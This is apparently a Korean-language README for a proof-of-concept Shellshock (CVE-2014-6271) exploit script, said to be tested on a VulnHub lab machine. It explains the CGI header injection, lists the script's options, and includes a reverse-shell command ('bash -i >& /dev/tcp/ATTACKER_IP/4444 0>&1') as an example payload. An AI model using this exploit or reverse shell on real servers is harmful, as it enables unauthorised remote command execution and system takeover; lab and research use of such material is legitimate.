
CVE-2014-6271 Exploit | by infrar3d
infrar3d가 제작
이 저장소는 CVE-2014-6271 (Shellshock) 에 대한 개념 증명(PoC) 익스플로잇을 포함합니다.
Shellshock는 GNU Bash의 치명적인 취약점으로, 특수하게 조작된 환경 변수를 통해 임의 명령 실행이 가능하게 합니다.
웹 서버가 HTTP 헤더를 Bash를 호출하는 CGI 스크립트로 전달할 때, 공격자는 해당 헤더를 통해 명령을 주입할 수 있습니다.
./shellshock_exp.sh -h
shellshock_exp.sh [options]
Options:
-h | --help print this message and exit
-a | --address target address (default is "localhost")
-p | --port target port (default is 80)
-f | --file target file (default is "/cgi-bin/shell.sh")
-c | --command command to execute on the target machine (default is "id")
./shellshock_exp.sh -a 192.168.1.10
./shellshock_exp.sh -a 192.168.1.10 -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
(VulnHub 머신 "Hacksudo - Thor"에서 테스트됨)
이 소프트웨어와 개념 증명 코드는 교육 및 연구 목적으로만 제공됩니다.
적용 가능한 모든 법률을 준수할 책임은 사용자에게 있습니다. 윤리적이고 책임감 있게 사용하십시오.